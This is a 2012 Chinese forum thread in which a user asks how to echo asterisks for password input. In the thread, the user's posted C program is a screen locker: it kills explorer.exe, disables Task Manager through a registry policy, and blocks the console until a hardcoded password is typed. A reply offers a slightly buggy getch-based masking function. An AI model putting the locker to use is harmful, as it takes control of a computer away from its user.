啊哈磊_编程从这里起步

标题: 关于输入字符回显星号的问题,求助! [打印本页]

作者: 梦中的婚礼    时间: 2012-12-5 12:31
标题: 关于输入字符回显星号的问题,求助!

   具体是这样的,我想把输入的密码显示成星号的样子!急需帮助!高手帮忙!
  代码如下:

#include <stdio.h>
#include <windows.h>
#include <dos.h>
char name[99];
char namet[99]="winw,980329";
main()
{
system("TASKKILL /F /IM EXPLORER.EXE");
system("reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 00000001 /f");
while(1>0)
{
system("cls");
system("title 计算机的功能已被限制. && color c");
printf("\n\n\n\n          请您输入解锁密码:");
scanf("%s",name);
{
  if(strcmp(name,namet)==0)
  {
   system("start EXPLORER.EXE");
   system("reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 00000000 /f");
   return 0;
  }
  else
  {}
}
    system("cls");
}
}


作者: 4k-Rn    时间: 2012-12-5 12:31
看看这个
{:soso_e100:}
1#define TRUE 1
2#define FALSE 0
3#define MIN_INPUT 0x20
4#define MAX_INPUT 0x7e
5/*
6* 所有功能有此函数实现:
7* pszPw : 保存密码的缓冲
8* iMaxSize :最大的密码长度,该长度必须小于缓冲区大小。
9* 返回值为TRUE为成功获取密码。总是返回TRUE
10*/
11int GetPassword(unsigned char* pszPw,int iMaxSize)
12{
13unsigned char ch;
14int i=0;
15
16int bIsEcho=TRUE;
17//while( ! kbhit() && i<iMaxSize )
18while( ( ch = (unsigned char)getch() ) && i < iMaxSize )
19{
20//ch = (unsigned char)getch();
21bIsEcho=TRUE;
22
23if ( ch == 13)
24{
25pszPw[i++]=0;
26break;
27}
28else if ( ch >= MIN_INPUT && ch <= MAX_INPUT) /*所有可打印字符*/
29{
30pszPw[i++]=ch;
31}
32else if ( ch == 8 && i> 0 ) /*退格键*/
33{
34pszPw[i--] = 0;
35bIsEcho = FALSE;
36putchar( ch );
37putchar( ' ' );
38putchar( ch );
39
40}
41else
42bIsEcho = FALSE;
43
44if(bIsEcho)
45putchar('*');
46
47}
48
49pszPw=0;
50return TRUE;
51}
52
53int main(void)
54{
55int iMaxSize=80;
56unsigned char pw[99];
57if ( GetPassword(pw,iMaxSize) == TRUE ){
58printf("\npassword=%s",pw);
59}
60else{
61printf("\nCan not get the password!");
62}
63}









QQ拼音截图未命名.png (33.63 KB, 下载次数: 1)

QQ拼音截图未命名.png

201212081737.2.zip

5.42 KB, 下载次数: 10

你要你东西


作者: 4k-Rn    时间: 2012-12-8 17:42
main()
{
后加我的
作者: 梦中的婚礼    时间: 2012-12-9 13:22
4k-Rn 发表于 2012-12-8 17:42
main()
{
后加我的

谢谢!




欢迎光临 啊哈磊_编程从这里起步 (https://bbs.codeaha.com/) Powered by Discuz! X3.2